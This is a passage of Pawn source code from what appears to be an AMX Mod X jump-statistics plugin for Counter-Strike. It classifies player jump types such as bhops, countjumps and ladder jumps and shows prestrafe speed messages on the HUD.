pev(id, pev_origin, origin);
OnGround[id] = false;
pev(id, pev_velocity, velocity);
new Float:tempfall;
if(is_user_ducking(id))
{
tempfall=origin[2]+18;
}
else tempfall=origin[2];
if( falloriginz[id]-tempfall>1.0 && !cjjump[id] && (ddforcj[id] || jump_type[id] == Type_Drop_CountJump || jump_type[id] == Type_StandUp_CountJump || jump_type[id] == Type_None || jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump))
{
oldjump_type[id]=0;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
if(ddforcj[id])
ddforcj[id]=false;
jump_type[id] = Type_WeirdLongJump;
}
if (velocity[2] == -240.0)
{
oldjump_type[id]=0;
ddbeforwj[id]=true;
jump_type[id] = Type_WeirdLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DDWJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DDWJ");
}
}
else if(!(flags&FL_ONGROUND) && notjump[id]==false && (movetype[id] != MOVETYPE_FLY) && in_ladder[id]==false && jump_type[id] != Type_Slide)
{
oldjump_type[id]=0;
OnGround[id] = false;
pev(id, pev_velocity, velocity);
pev(id, pev_origin, origin);
new Float:drbh;
if(is_user_ducking(id))
{
drbh=origin[2]+18;
}
else drbh=origin[2];
if(dropbjorigin[id][2]-drbh>2.0)
{
if(dropbjorigin[id][2]-drbh<30 && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_None)
{
old_type_dropbj[id]=jump_type[id];
formatex(Jtype_old_dropbj[id],32,Jtype[id]);
formatex(Jtype_old_dropbj1[id],32,Jtype1[id]);
}
jump_type[id] = Type_Drop_BhopLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
nextbhop[id]=false;
bhopaem[id]=false;
dropbhop[id]=true;
}
}
if( movetype[id] == MOVETYPE_FLY)
{
OnGround[id] = false;
firstvel[id]=8.0;
secvel[id]=0.0;
checkladdertime[id]=get_gametime();
}
if( movetype[id] == MOVETYPE_FLY && firstladder[id]==false)
{
firstladder[id]=true;
nextbhop[id]=false;
bhopaem[id]=false;
h_jumped[id]=false;
JumpReset(id,34);
return FMRES_IGNORED;
}
if( movetype[id] != MOVETYPE_FLY && firstladder[id]==true && flags&FL_ONGROUND)
{
firstladder[id]=false;
}
if( (movetype[id] == MOVETYPE_FLY) && (button&IN_FORWARD || button&IN_BACK || button&IN_LEFT || button&IN_RIGHT ) )
{
ladderjump[id]=true;
find_sphere_class (id, "func_ladder",18.0, entlist1, 1);
if(entlist1[0]!=0)
{
for(new i=0;i<nLadder;i++)
{
if(entlist[i]==entlist1[0])
{
nashladder=i;
}
}
}
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
}
if( (movetype[id] == MOVETYPE_FLY) && button&IN_JUMP )
{
jump_type[id]=Type_ladderBhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDBJ");
ladderjump[id]=false;
in_air[id]=false;
in_ladder[id]=false;
bhopaem[id]=false;
notjump[id]=true;
dropbhop[id]=false;
}
if( movetype[id] != MOVETYPE_FLY && ladderjump[id]==true)
{
if(touch_ent[id])
{
JumpReset(id,103);
}
notjump[id]=true;
dropbhop[id]=false;
pev(id, pev_origin, origin);
jumpoff_origin[id] = origin;
jumpoff_origin[id][2]=ladderxyz[nashladder][2]+35.031250;
jumpoff_time[id] = get_gametime( );
strafecounter_oldbuttons[id] = INFO_ZERO;
jump_type[id]=Type_ladder;
laddertime[id]=get_gametime();
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDJ");
if(laddersize[nashladder][0]<=laddersize[nashladder][1])
{
laddist[id]=laddersize[nashladder][0]+0.03125;
}
else if(laddersize[nashladder][0]>laddersize[nashladder][1])
{
laddist[id]=laddersize[nashladder][1]+0.03125;
}
if(laddist[id]>10)
{
laddist[id]=4.0;
}
ladderjump[id]=false;
TempSpeed[id] = 0.0;
static i;
for( i = INFO_ZERO; i < NSTRAFES; i++ )
{
strafe_stat_speed[id][i][0] = 0.0;
strafe_stat_speed[id][i][1] = 0.0;
strafe_stat_sync[id][i][0] = INFO_ZERO;
strafe_stat_sync[id][i][1] = INFO_ZERO;
strafe_stat_time[id][i] = 0.0;
strafe_lost_frame[id][i] = 0;
}
in_air[id] = true;
in_ladder[id]=true;
g_Jumped[id] = true;
first_frame[id] = true;
turning_right[id] = false;
turning_left[id] = false;
for( i = INFO_ZERO; i < 2; i++ )
{
frame_origin[id][i][0] = 0.0;
frame_origin[id][i][1] = 0.0;
frame_origin[id][i][2] = 0.0;
frame_velocity[id][i][0] = 0.0;
frame_velocity[id][i][1] = 0.0;
frame_velocity[id][i][2] = 0.0;
}
for( i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[id]==true && uq_ladder==1 )
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.0, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE31",prestrafe[id]);
}
}
}
}
if((button & IN_JUMP && flags & FL_ONGROUND) || in_ladder[id])
{
x_jump[id]=true;
if(is_user_ducking(id))
{
x_heightland_origin[id]=origin[2]+18;
}
else x_heightland_origin[id]=origin[2];
}
if((x_jump[id]==true || in_ladder[id]) && button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND )
{
if(x_jump[id])
{
x_jump[id]=false;
new Float:heightland_origin;
if(is_user_ducking(id))
{
heightland_origin=origin[2]+18;
}
else heightland_origin=origin[2];
if(heightland_origin-x_heightland_origin[id]>0 && !in_ladder[id])
{
JumpReset(id,45);
UpcjFail[id]=true;
return FMRES_IGNORED;
}
if(bhopaem[id] && !ddforcjafterbhop[id])
{
ddforcjafterbhop[id]=true;
}
else ddforcjafterbhop[id]=false;
if(in_ladder[id] && !ddforcjafterladder[id])
{
ddforcjafterladder[id]=true;
}
else ddforcjafterladder[id]=false;
ddforcj[id]=true;
}
}
if(cjjump[id]==false && (button & IN_DUCK || oldbuttons & IN_DUCK) && (jump_type[id] == Type_Drop_CountJump || ddforcj[id] || ddafterJump[id] || jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
{
if(origin[2]-duckstartz[id]<-1.21 && origin[2]-duckstartz[id]>-2.0)
{
if(ddstandcj[id])
{
nextbhop[id]=false;
bhopaem[id]=false;
}
if(jump_typeOld[id]==1)
{
multiscj[id]=0;
}
else if(jump_typeOld[id]==2)
{
multiscj[id]=1;
}
else if(jump_typeOld[id]==3)
{
multiscj[id]=2;
}
jump_type[id] = Type_StandUp_CountJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJ");
FallTime[id]=get_gametime();
}
}
if( button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND)
{
nextbhop[id]=false;
bhopaem[id]=false;
doubleduck[id]=true;
sync_doubleduck[id]=true;
doubletime[id]=get_gametime();
FallTime1[id]=get_gametime();
ddnum[id]++;
}
if(sync_doubleduck[id] && g_Jumped[id])
{
sync_doubleduck[id]=false;
doubleduck_stat_sync[id][0]=0;
doubleduck_stat_sync[id][1]=0;
}
if(flags & FL_ONGROUND)
{
if(duckstartz[id]-origin[2]<18.0 && doubleduck[id]==true && (get_gametime()-doubletime[id]>0.4) && ddbeforwj[id]==false && (jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
{
JumpReset(id,2);
doubleduck[id]=false;
}
}
pev(id, pev_origin, origin);
if(slide_protec[id]==false && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND && bhopaem[id]==false && UpcjFail[id]==false)
{
bhop_num[id]=0;
notjump[id]=false;
if(ddforcj[id]==true)
{
if(jump_type[id] == Type_StandUp_CountJump)
{
ddstandcj[id]=true;
}
ddforcj[id]=false;
if(jump_type[id] != Type_StandUp_CountJump && (jump_type[id]!=Type_Drop_CountJump || ddforcjafterladder[id]))
{
if(ddnum[id]==1)
{
jump_type[id]=Type_CountJump;
CjafterJump[id]=1;
}
else if(ddnum[id]==2)
{
jump_type[id] = Type_Double_CountJump ;
CjafterJump[id]=2;
}
else if(ddnum[id]>=3)
{
jump_type[id] = Type_Multi_CountJump;
CjafterJump[id]=3;
}
ddnum[id]=0;
nextbhop[id]=false;
bhopaem[id]=false;
}
}
oldjump_height[id]=0.0;
jheight[id]=0.0;
if(nextbhop[id] && ddafterJump[id]==false)
{
FullJumpFrames[id]=0;
direct_for_strafe[id]=0;
angles_arry[id]=0;
if(uq_istrafe)
{
for(new i=0;i<=line_erase_strnum[id];i++)
{
for( new j = 0; j <= line_erase[id][i]; j++ )
{
line_lost[id][i][j]=0;
lost_frame_count[id][i]=0;
}
}
}
edgedone[id]=false;
if(get_gametime()-checkladdertime[id]<0.5)
{
ladderbug[id]=true;
}
if(touch_ent[id])
{
JumpReset(id,105);
}
ddnum[id]=0;
if(cjjump[id]==true && (get_gametime()-duckoff_time[id])<0.2)
{
JumpReset(id,35);
return FMRES_IGNORED;
}
if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_HighJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
{
jump_type[id]=Type_DuckBhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
duckbhop[id]=false;
}
bhopaem[id]=true;
pev(id, pev_origin, origin);
static bool:ducking;
ducking = is_user_ducking( id );
strafecounter_oldbuttons[id] = INFO_ZERO;
strafe_num[id] = 0;
TempSpeed[id] = 0.0;
in_bhop[id] = true;
pre_jumpoff_origin[id] = jumpoff_origin[id];
jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0; //todo:think about this gavno
jumpoff_time[id] = get_gametime( );
new Float:checkbhop;
if(is_user_ducking(id)==true)
{
checkbhop=jumpoff_origin[id][2]-origin[2]-18.0;
}
else checkbhop=jumpoff_origin[id][2]-origin[2];
if(checkbhop<-1.0)
{
if(button & IN_DUCK )
{
jump_type[id]=Type_Up_Bhop_In_Duck;
}
upbhop_koeff[id]=UpBhop_calc(floatabs(checkbhop));
upheight[id]=floatabs(checkbhop);
upBhop[id]=true;
}
else if(jump_type[id]!=Type_DuckBhop)
{
if(button & IN_DUCK )
{
jump_type[id]=Type_Bhop_In_Duck;
}
}
jumpoff_origin[id] = origin;
if(is_user_ducking( id )==true)
{
jumpoff_origin[id][2] = origin[2]+18.0;
}
else jumpoff_origin[id][2] = origin[2];
pev(id, pev_velocity, velocity);
first_frame[id] = true;
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
static i;
for( i = INFO_ZERO; i < NSTRAFES; i++ )
{
strafe_stat_speed[id][i][0] = 0.0;
strafe_stat_speed[id][i][1] = 0.0;
strafe_stat_sync[id][i][0] = INFO_ZERO;
strafe_stat_sync[id][i][1] = INFO_ZERO;
strafe_stat_time[id][i] = 0.0;
strafe_lost_frame[id][i] = 0;
}
for( i = INFO_ZERO; i < 2; i++ )
{
frame_origin[id][i][0] = 0.0;
frame_origin[id][i][1] = 0.0;
frame_origin[id][i][2] = 0.0;
frame_velocity[id][i][0] = 0.0;
frame_velocity[id][i][1] = 0.0;
frame_velocity[id][i][2] = 0.0;
}
in_air[id] = true;
g_Jumped[id] = true;
turning_right[id] = false;
turning_left[id] = false;
}
else
{
if(get_gametime()-checkladdertime[id]<0.5 && jump_type[id]!=Type_ladderBhop)
{
ladderbug[id]=true;
}
if(touch_ent[id])
{
JumpReset(id,106);
}
ddnum[id]=0;
if(in_ladder[id]==true)
{
in_ladder[id]=false;
jump_type[id]=Type_Real_ladder_Bhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_RLDBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_RLDBJ");
}
strafe_num[id]=0;
if(get_gametime()-changetime[id]<0.5)
{
JumpReset(id,38);
return FMRES_IGNORED;
}
if(task_exists(id+2311))
remove_task(id+2311);
pev(id, pev_velocity, velocity);
if(jump_type[id]!=Type_ladderBhop)
{
if(oldjump_typ1[id]==1)
{
jump_type[id]=Type_ladderBhop;
oldjump_typ1[id]=0;
}
}
jumpoff_origin[id] = origin;
if(is_user_ducking(id))
{
jumpoff_origin[id][2] = origin[2]+18.0;
}
else jumpoff_origin[id][2] = origin[2];
jumpoff_time[id] = get_gametime( );
strafecounter_oldbuttons[id] = INFO_ZERO;
pev(id, pev_origin, origin);
if(is_user_ducking(id))
{
dropbjorigin[id][2]=origin[2]+18;
}
else dropbjorigin[id][2]=origin[2];
dropbjorigin[id][0]=origin[0];
dropbjorigin[id][1]=origin[1];
pev(id, pev_velocity, velocity);
secorig[id]=origin;
nextbhop[id]=true;
if(dropbhop[id] && jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump)
{
dropbhop[id]=false;
jump_type[id] = Type_Drop_BhopLongJump;
}
else dropbhop[id]=false;
if(jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump)
{
cjjump[id]=true;
}
if (!ddstandcj[id] && !CjafterJump[id] && (jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump) && floatabs(duckstartz[id]-jumpoff_origin[id][2])>4.0)
{
if(speed[id]<200.0)
{
jump_type[id] = Type_LongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
}
else
{
jump_type[id] = Type_WeirdLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
}
}
if(jump_type[id] == Type_Drop_CountJump && multidropcj[id]==0 && (origin[2]-first_duck_z[id])>4)
{
JumpReset(id,146);
return FMRES_IGNORED;
}
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
new Float:kkk;
kkk=1.112*Pmaxspeed;
if(prestrafe[id]<kkk && jump_type[id] !=Type_ladderBhop && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_WeirdLongJump && jump_type[id] != Type_CountJump && jump_type[id] != Type_Multi_CountJump && jump_type[id] != Type_Double_CountJump && jump_type[id] != Type_BhopLongJump && jump_type[id] != Type_StandupBhopLongJump && jump_type[id] != Type_Drop_CountJump)
{
if(jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump && jump_type[id] !=Type_Real_ladder_Bhop)
{
jump_type[id] = Type_LongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
if((jumpoff_origin[id][2]-origin[2])==18.0 && oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==false)
{
duckbhop[id]=true;
//client_print(id,print_chat,"%f",jumpoff_origin[id][2]-origin[2]);
find_sphere_class (id, "func_ladder",100.0, entlist1, 1);
if(entlist1[0]!=0)
{
if(get_gametime()-checkladdertime[id]<0.1 || prestrafe[id]>110)
{
ladderbug[id]=true;
}
else if(entlist1[0]!=0)
{
ladderbug[id]=true;
}
find_ladder[id]=true;
}
}
else duckbhop[id]=false;
}
}
TempSpeed[id] = 0.0;
static i;
for( i = INFO_ZERO; i < NSTRAFES; i++ )
{
strafe_stat_speed[id][i][0] = 0.0;
strafe_stat_speed[id][i][1] = 0.0;
strafe_stat_sync[id][i][0] = INFO_ZERO;
strafe_stat_sync[id][i][1] = INFO_ZERO;
strafe_stat_time[id][i] = 0.0;
strafe_lost_frame[id][i] = 0;
}
in_air[id] = true;
g_Jumped[id] = true;
first_frame[id] = true;
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
turning_right[id] = false;
turning_left[id] = false;
for( i = INFO_ZERO; i < 2; i++ )
{
frame_origin[id][i][0] = 0.0;
frame_origin[id][i][1] = 0.0;
frame_origin[id][i][2] = 0.0;
frame_velocity[id][i][0] = 0.0;
frame_velocity[id][i][1] = 0.0;
frame_velocity[id][i][2] = 0.0;
}
if(jump_type[id]==Type_LongJump && prestrafe[id]>kkk)
{
jump_type[id] = Type_WeirdLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
}
if ((doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]) > 0)
{
dd_sync[id] =(doubleduck_stat_sync[id][0] * 100)/(doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]);
if(dd_sync[id]<96)
dd_sync[id] =5+dd_sync[id];
}
else
{
dd_sync[id] = 0;
}
for( i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if((Pmaxspeed * 1.2)>prestrafe[id])
{
if(prestrafe[id]>min_prestrafe[id])
{
if(jump_type[id] == Type_Double_CountJump && showpre[id]==true && uq_dcj==1)
{
if(CjafterJump[id]==2)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
if(ddforcjafterbhop[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE1",prestrafe[id]);
else if(ddforcjafterladder[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE2",prestrafe[id]);
else
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE3",prestrafe[id]);
}
else
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE4",prestrafe[id]);
}
}
else if(jump_type[id] == Type_CountJump && showpre[id]==true && uq_cj==1)
{
if(CjafterJump[id]==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
if(ddforcjafterbhop[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE5",prestrafe[id]);
else if(ddforcjafterladder[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE6",prestrafe[id]);
else
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE7",prestrafe[id]);
}
else
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE8",prestrafe[id]);
}
}
else if(jump_type[id] == Type_Multi_CountJump && showpre[id]==true && uq_mcj==1)
{
if(CjafterJump[id]==3)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
if(ddforcjafterbhop[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE9",prestrafe[id]);
else if(ddforcjafterladder[id])
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE10",prestrafe[id]);
else
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE11",prestrafe[id]);
}
else
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE12",prestrafe[id]);
}
}
else if(jump_type[id] == Type_LongJump && showpre[id]==true && ljpre[id]==true && uq_lj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE13",prestrafe[id]);
}
else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==true && uq_wj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE14",prestrafe[id]);
}
else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==false && uq_wj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE15",prestrafe[id]);
}
else if((jump_type[id] == Type_Drop_BhopLongJump)&& showpre[id]==true && uq_drbj==1 )
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE16",prestrafe[id]);
}
else if((jump_type[id] == Type_ladderBhop)&& showpre[id]==true && uq_ldbj==1 )
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE17",prestrafe[id]);
}
else if((jump_type[id]==Type_Drop_CountJump)&& showpre[id]==true)
{
if(multidropcj[id]==0 && uq_drcj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE18",prestrafe[id]);
}
else if(multidropcj[id]==1 && uq_dropdcj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE19",prestrafe[id]);
}
else if(multidropcj[id]==2 && uq_dropmcj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE20",prestrafe[id]);
}
}
else if((jump_type[id]==Type_StandUp_CountJump) && showpre[id]==true && uq_drsbj==1)
{
if(dropaem[id])
{
if(multiscj[id]==0 && uq_dropscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE21",prestrafe[id]);
}
else if(multiscj[id]==1 && uq_dropdscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE22",prestrafe[id]);
}
else if(multiscj[id]==2 && uq_dropmscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE23",prestrafe[id]);
}
}
else if(ddstandcj[id])
{
if(multiscj[id]==0)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE24",prestrafe[id]);
}
else if(multiscj[id]==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE25",prestrafe[id]);
}
else if(multiscj[id]==2)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE26",prestrafe[id]);
}
}
else
{
if(multiscj[id]==0 && uq_drsbj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE27",prestrafe[id]);
}
else if(multiscj[id]==1 && uq_dscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE28",prestrafe[id]);
}
else if(multiscj[id]==2 && uq_mscj==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE29",prestrafe[id]);
}
}
}
else if((jump_type[id]==Type_Real_ladder_Bhop) && showpre[id]==true && uq_realldbhop==1)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE30",prestrafe[id]);
}
}
}
else if(showpre[id]==true)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
}
}
}
}
}
else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && bhopaem[id]==true && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND)
{
if(touch_ent[id])
{
JumpReset(id,106);
}
ddnum[id]=0;
if(ddforcj[id]==true)
{
ddforcj[id]=false;
JumpReset(id,46);
return FMRES_IGNORED;
}
pev(id, pev_origin, origin);
static bool:ducking;
ducking = is_user_ducking( id );
strafecounter_oldbuttons[id] = INFO_ZERO;
strafe_num[id] = 0;
TempSpeed[id] = 0.0;
pre_jumpoff_origin[id] = jumpoff_origin[id];
jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0;
jumpoff_time[id] = get_gametime( );
jumpoff_origin[id] = origin;
if(is_user_ducking( id )==true)
{
jumpoff_origin[id][2] = origin[2]+18.0;
}
else jumpoff_origin[id][2] = origin[2];
pev(id, pev_velocity, velocity);
first_frame[id] = true;
prestrafe[id] = speed[id];
maxspeed[id] = speed[id];
static i;
for( i = INFO_ZERO; i < NSTRAFES; i++ )
{
strafe_stat_speed[id][i][0] = 0.0;
strafe_stat_speed[id][i][1] = 0.0;
strafe_stat_sync[id][i][0] = INFO_ZERO;
strafe_stat_sync[id][i][1] = INFO_ZERO;
strafe_stat_time[id][i] = 0.0;
strafe_lost_frame[id][i] = 0;
}
for( i = INFO_ZERO; i < 2; i++ )
{
frame_origin[id][i][0] = 0.0;
frame_origin[id][i][1] = 0.0;
frame_origin[id][i][2] = 0.0;
frame_velocity[id][i][0] = 0.0;
frame_velocity[id][i][1] = 0.0;
frame_velocity[id][i][2] = 0.0;
}
in_air[id] = true;
g_Jumped[id] = true;
turning_right[id] = false;
turning_left[id] = false;
jump_type[id]=Type_Multi_Bhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MBJ");
bhop_num[id]++;
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[i]==true && multibhoppre[id] && speed[id]>50.0)
{
if((Pmaxspeed * 1.2)>speed[id] && (uq_bj==1 || uq_sbj==1))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_MBPRE",speed[id]);
}
else
{ if((uq_bj==1 || uq_sbj==1))
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
}
}
}
}
}
}
else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && !(button&IN_JUMP) && oldbuttons&IN_JUMP && flags & FL_ONGROUND && nextbhop[id]==true && cjjump[id]==false && bhopaem[id]==false && jump_type[id]!=Type_Drop_BhopLongJump)
{
if(touch_ent[id])
{
JumpReset(id,109);
}
ddnum[id]=0;
if(ddforcj[id]==true)
{
JumpReset(id,46);
return FMRES_IGNORED;
}
bhop_num[id]=0;
if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
{
jump_type[id]=Type_DuckBhop;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
duckbhop[id]=false;
}
else
{
bhopaem[id]=true;
static i;
for( i = INFO_ONE; i < max_players; i++ )
{
